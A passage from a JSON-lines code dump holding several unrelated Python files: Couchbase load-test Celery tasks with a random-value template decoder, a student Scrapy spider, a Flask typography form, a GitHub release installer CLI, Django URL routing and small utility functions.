bucket,\n \"password\" : password,\n \"args\" : [key]}\n return _send_msg(message)\n\n\n@celery.task\ndef delete(key, bucket = \"default\", password = \"\"):\n message = {\"command\" : \"delete\",\n \"bucket\" : bucket,\n \"password\" : password,\n \"args\" : [key]}\n return _send_msg(message)\n\n@celery.task\n\ndef mdelete(keys, bucket = \"default\", password = \"\"):\n message = {\"command\" : \"mdelete\",\n \"bucket\" : bucket,\n \"password\" : password,\n \"args\" : keys}\n return _send_msg(message)\n\ndef _send_msg(message):\n message.update({\"cb_ip\" : cfg.COUCHBASE_IP,\n \"cb_port\" : cfg.COUCHBASE_PORT})\n\n try:\n port = randint(50008, 50011)\n sdk_client = eventlet.connect((SDK_IP, port))\n sdk_client.setblocking(False)\n sdk_client.settimeout(5)\n sdk_client.sendall(json.dumps(message))\n except Exception as ex:\n logger.error(ex)\n logger.error(\"message suppressed: %s\" % message[\"command\"])\n\n\ndef decodeMajgicStrings(template):\n\n kv = template[\"kv\"]\n\n for key, value in kv.iteritems():\n if type(value)==str and value.startswith(\"@\"):\n #If string starts with \"@\", assume that it is a function call to self written generator\n value = value[1:]\n _c1_=0\n _c2_=0\n value_array = value.split(\".\")\n _name_module = value_array[0]\n _name_class = value_array[1]\n j = len(value_array[2])\n for i in range(0,len(value_array[2])): #0: module name, 1: class name, 2: function name + argument if any\n if value_array[2][i] == \"(\":\n j = i\n break\n _name_method = value_array[2][:j]\n if j == len(value_array[2]):\n _name_arg = \" \"\n else:\n if value_array[2][j+1] == \")\":\n _name_arg = \" \"\n else:\n _name_arg = value_array[2][j+1:len(value_array[2])-1]\n the_module = __import__(_name_module)\n the_class = getattr(the_module, _name_class)()\n if _name_arg == \" \":\n _a_ = getattr(the_class, _name_method)()\n else:\n _a_ = getattr(the_class, _name_method)(_name_arg)\n else:\n if type(value)==list:\n _a_ = value\n for i in range(0,len(_a_)):\n _a_[i] = _int_float_str_gen(_a_[i])\n elif type(value)==dict:\n _a_ = value\n for _k,_v in _a_.iteritems():\n _a_[_k] = _int_float_str_gen(_v)\n elif value.startswith(\"$lis\"):\n _val = value[4:]\n _n_ = 0\n if _val==\"\":\n _n_ = 5\n else:\n for i in range(0,len(_val)):\n if _val[i].isdigit():\n _n_ = _n_*10 + int(_val[i])\n else:\n break\n _a_ = []\n for i in range(0,_n_):\n _a_.append(random.randint(0,100))\n elif value.startswith(\"$int\"):\n _val = value[4:]\n _n_ = 0\n if _val==\"\":\n _n_ = 5\n else:\n for i in range(0,len(_val)):\n if _val[i].isdigit():\n _n_ = _n_*10 + int(_val[i])\n else:\n break\n _x_ = pow(10, _n_)\n _a_ = random.randint(0,1000000) % _x_\n elif value.startswith(\"$flo\"):\n _val = value[4:]\n _n_ = 0\n if _val==\"\":\n _n_ = 5\n else:\n for i in range(0,len(_val)):\n if _val[i].isdigit():\n _n_ = _n_*10 + int(_val[i])\n else:\n break\n _x_ = pow(10, _n_)\n _a_ = random.random() % _x_\n elif value.startswith(\"$boo\"):\n _n_ = random.randint(0,10000)\n if _n_%2 == 0:\n _a_ = True\n else:\n _a_ = False\n elif value.startswith(\"$dic\"):\n _val = value[4:]\n _n_ = 0\n if _val==\"\":\n _n_ = 5\n else:\n for i in range(0,len(_val)):\n if _val[i].isdigit():\n _n_ = _n_*10 + int(_val[i])\n else:\n break\n _a_ = {}\n for i in range(0,_n_):\n _j_ = \"a{0}\".format(i)\n _a_[_j_] = random.randint(0,1000)\n elif \"$str\" in value:\n _x_ = value.find(\"$str\")\n _val = value[_x_+4:]\n _n_ = 0\n j = 0\n if _val==\"\":\n _n_ = 5\n else:\n for i in range(0,len(_val)):\n if _val[i].isdigit():\n _n_ = _n_*10 + int(_val[i])\n else:\n break\n if _val[0].isdigit():\n value = value.replace(str(_n_),'')\n _out_ = _random_string(_n_)\n _a_ = value.replace(\"$str\".format(_n_),_out_)\n else:\n _a_ = value\n\n kv.update({key : _a_})\n\n if template[\"size\"] is not None:\n size_idx = random.randint(0,len(template[\"size\"]) - 1)\n size = int(template['size'][size_idx])\n\n kv_size = sys.getsizeof(kv)/8\n if kv_size < size:\n padding = _random_string(size - kv_size)\n kv.update({\"padding\" : padding})\n\n\n\ndef _random_string(length):\n return ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(length))\n\ndef _int_float_str_gen(_str):\n if type(_str)==unicode:\n _str = str(_str)\n if type(_str)==str and _str.startswith(\"$int\"):\n _val = _str[4:]\n _n_ = 0\n if _val==\"\":\n _n_ = 5\n else:\n for k in range(0,len(_val)):\n if _val[k].isdigit():\n _n_ = _n_*10 + int(_val[k])\n else:\n break\n _x_ = pow(10, _n_)\n _temp_ = _str.replace(\"$int{0}\".format(_n_),str(random.randint(0,1000000) % _x_))\n return int(_temp_)\n elif type(_str)==str and _str.startswith(\"$flo\"):\n _val = _str[4:]\n _n_ = 0\n if _val==\"\":\n _n_ = 5\n else:\n for k in range(0,len(_val)):\n if _val[k].isdigit():\n _n_ = _n_*10 + int(_val[k])\n else:\n break\n _x_ = pow(10, _n_)\n _temp_ = _str.replace(\"$flo{0}\".format(_n_),str((random.random()*1000000) % _x_))\n return float(_temp_)\n elif type(_str)==str and _str.startswith(\"$str\"):\n _val = _str[4:]\n _n_ = 0\n j = 0\n if _val==\"\":\n _n_ = 5\n else:\n for k in range(0,len(_val)):\n if _val[k].isdigit():\n _n_ = _n_*10 + int(_val[k])\n else:\n break\n return _random_string(_n_)\n else:\n return _str\n\n","sub_path":"pysystests/app/sdk_client_tasks.py","file_name":"sdk_client_tasks.py","file_ext":"py","file_size_in_byte":9044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"379236519","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\"\"\"\"\"\"\"\"\"\nName: Assignment #3 - Crawling a Web URL using Scrapy\nAuthor: Chris Santos\nLast Modified: Oct. 29th, 2018\n\"\"\"\"\"\"\"\"\"\n\nclass SantosChristopherSpider(scrapy.Spider):\n name = 'santos_christopher'\n BASEURL = 'http://www.cs.utep.edu/makbar/A3'\n visited = [\n 'http://www.cs.utep.edu/makbar/A3/A2.html'\n ]\n words = {}\n\n \"\"\"\n Scrapy will start this method initial and send requests\n to allow crawling, respecting the rules of the robots.txt\n \"\"\"\n def start_requests(self):\n for url in self.visited:\n yield scrapy.Request(url=url, callback=self.parse)\n\n \"\"\"\n Parses through the output response and identifies the links\n to other URL pages, and crawls those links\n \"\"\"\n def parse(self, response):\n output = 'santos_christopher.txt'\n for link in response.xpath('//a/@href').extract():\n if link in self.visited:\n continue\n else:\n self.log('>> Link found: %s' % link)\n self.visited.append(link)\n self.parseBody(link, response.body)\n link = link[:0] + link[1:]\n new_link = self.BASEURL + link\n yield scrapy.Request(url=new_link, callback=self.parse)\n\n \"\"\"\n Creates a text file to parse through and count the number of\n words in the webpage, as well as count how many times they\n appear\n \"\"\"\n def parseBody(self, link, body):\n link = link.replace('/', '-')\n link = link.replace('.html', '')\n link = link[2:4] + link[4:len(link)]\n with open(('%s_body.txt' % link), 'wb') as o:\n o.write(body)","sub_path":"Assignment_3/Assignment_3/spiders/santos_christopher.py","file_name":"santos_christopher.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"312311657","text":"from flask import Flask, render_template, request\n\nfrom typograf import review_text\n\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef form():\n result_text = ''\n if request.method == 'POST':\n result_text = review_text(request.form['text'])\n return render_template('form.html', result_text=result_text)\n\nif __name__ == \"__main__\":\n app.run()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"220754192","text":"from pathlib import Path\nfrom subprocess import run\nimport io\nimport json\nimport os\nimport platform\nimport re\nimport sys\nimport stat\nimport tarfile\n\nimport click\nimport requests\n\n_MACHINE_ALIASES = {\"x86_64\": set([\"amd64\"])}\n\n_SYSTEM_TYPES = {\"linux\", \"windows\", \"darwin\", \"osx\"}\n\n\ndef is_valid_download_url(url):\n url = url.lower()\n machine = platform.machine()\n\n aliases = set(_MACHINE_ALIASES.get(machine, set()))\n aliases.add(machine)\n\n if not any([alias in url for alias in aliases]):\n print(f\"{url}: alias\")\n return False\n\n not_our_system_types = set(_SYSTEM_TYPES)\n not_our_system_types.remove(platform.system().lower())\n\n if any([st in url for st in not_our_system_types]):\n print(f\"{url}: system type\")\n return False\n\n if any([url.endswith(ext) for ext in _PARSABLE_EXTENSIONS]):\n print(f\"{url}: extension\")\n return True\n\n return False\n\n\ndef extract_file_from_tar(response, file_selector, output_fname):\n try:\n tf = tarfile.open(fileobj=io.BytesIO(response.content))\n except tarfile.ReadError:\n fname = _get_filename_from_response(response)\n print(f\"Don't know what to do with {fname}; is it a valid tar file?\")\n exit(1)\n\n members = tf.getmembers()\n f_select_re = re.compile(file_selector)\n\n extracted = None\n for member in members:\n if re.match(file_selector, member.name) and member.isfile():\n extracted = tf.extractfile(member)\n\n return extracted\n\n\ndef list_files_from_tar(response, *args, **kwargs):\n try:\n tf = tarfile.open(fileobj=io.BytesIO(response.content))\n except tarfile.ReadError:\n fname = _get_filename_from_response(response)\n print(f\"Don't know what to do with {fname}; is it a valid tar file?\")\n exit(1)\n\n for member in tf.getmembers():\n print(member.name)\n\n return True, None\n\n\n_EXTRACTORS = {\".tar.gz\": extract_file_from_tar, \".tgz\": extract_file_from_tar}\n\n_LISTERS = {\".tar.gz\": list_files_from_tar, \".tgz\": list_files_from_tar}\n\n\ndef _get_install_path():\n return Path(os.path.expanduser(\"~/.local/bin/\"))\n\n\ndef _ensure_install_path():\n return os.makedirs(_get_install_path(), exist_ok=True)\n\n\ndef _get_filename_from_response(response):\n # TODO: The below is not as defensive as I'd like\n disposition = response.headers.get(\"content-disposition\", None)\n return disposition.split(\"=\")[1]\n\n\ndef _grab_artifact(\n user, repo, download_selector, cb_map, file_selector=None, output_fname=None\n):\n resp = requests.get(f\"https://glare.now.sh/{user}/{repo}/{download_selector}\")\n resp.raise_for_status()\n assert resp.headers.get(\"content-type\", None) == \"application/octet-stream\"\n\n fname = _get_filename_from_response(resp)\n for ext, cb_func in cb_map.items():\n if fname.endswith(ext):\n return True, cb_func(resp, file_selector, output_fname)\n return False, ext\n\n\ndef list_release_files(user, repo, download_selector):\n _grab_artifact(user, repo, download_selector, _LISTERS, None, None)\n\n\ndef get_release(user, repo, download_selector, file_selector, file_name):\n _ensure_install_path()\n\n success, extracted_file = _grab_artifact(\n user, repo, download_selector, _EXTRACTORS, file_selector, file_name\n )\n if success:\n final_path = (_get_install_path() / file_name).absolute()\n if os.path.exists(final_path):\n print(f\"Not overwriting {final_path}!\")\n exit()\n\n with open(final_path, \"wb\") as f:\n f.write(extracted_file.read())\n os.chmod(final_path, stat.S_IEXEC)\n\n assert os.path.exists(final_path)\n else:\n print(f\"No extractor known for file of type '{extractor}'!\")\n exit(1)\n\n\n@click.group()\ndef cli():\n pass\n\ndef _parse_slug(slug):\n if \"/\" not in slug:\n raise click.BadArgumentUsage('Slug must be of the form \"user/repo\"')\n\n split_slug = slug.split(\"/\")\n user = split_slug[0]\n repo = split_slug[1]\n return user, repo\n\n\n@cli.command()\n@click.argument(\"slug\")\n@click.argument(\"download_selector\")\ndef list_files(slug, download_selector):\n \"\"\"Assists in figuring out which file you'd like to grab from a selected release by listing all files within a compressed download.\n\n SLUG must be of the form \"user/repo\"\n\n DOWNLOAD_SELECTOR is a regex to determine which release artifact to use.\n \"\"\"\n user, repo = _parse_slug(slug)\n\n list_release_files(user, repo, download_selector)\n\n\n\n@cli.command()\n@click.argument(\"slug\")\n@click.argument(\"download_selector\")\n@click.argument(\"file_selector\")\n@click.argument(\"file_name\")\ndef install(slug, download_selector, file_selector, file_name):\n \"\"\"Install the latest release from SLUG, selected via SELECTOR.\n\n SLUG must be of the form \"user/repo\".\n\n DOWNLOAD_SELECTOR is a regex to determine which release artifact to use.\n\n FILE_SELECTOR is a regex to determine which file to PICK from release artifact. If multiple items match, only the first will be extracted.\n\n FILE_NAME is a string describing the final name of the picked file\n \"\"\"\n user, repo = _parse_slug(slug)\n get_release(user, repo, download_selector, file_selector, file_name)\n\n\nif __name__ == \"__main__\":\n cli()\n","sub_path":"src/ghrd/download_github_release.py","file_name":"download_github_release.py","file_ext":"py","file_size_in_byte":5255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"588834918","text":"\"\"\"random_cities URL Configuration\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls import url, include\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom get_random_cities import views\nfrom get_random_cities.views import UserViewSet, CitiesViewSet\nfrom rest_framework.routers import DefaultRouter\n\n# Routers provide an easy way of automatically determining the URL conf.\nrouter = DefaultRouter(trailing_slash=False)\n\ncities_list = CitiesViewSet.as_view({\n 'get': 'list',\n 'post': 'create'\n})\nrandom_cities = CitiesViewSet.as_view({\n 'get': 'random',\n 'post': 'random_from_cities'\n})\n\nuser_list = UserViewSet.as_view({\n 'get': 'list'\n})\nuser_detail = UserViewSet.as_view({\n 'get': 'retrieve'\n})\n\nrouter.register(r'cities', views.CitiesViewSet)\nrouter.register(r'users', views.UserViewSet)\n\nurlpatterns = [\n url(r'^api/', include(router.urls, namespace='api')),\n url(r'^admin/', admin.site.urls),\n url(r'^docs/', include('rest_framework_docs.urls')),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n","sub_path":"random_cities/random_cities/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"411757095","text":"def sign(x):\n return -1 if x < 0 else 1\n\ndef maxabspos(lst):\n if len(lst) == 0:\n return False\n maxi = abs(lst[0])\n pos = 0\n k = 1\n while k < len(lst):\n if abs(lst[k]) > maxi:\n pos = k\n maxi = abs(lst[k])\n k += 1\n return pos\n","sub_path":"Oude code/Semester2-Tussentijdse Demo/Raspberry Pi/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"}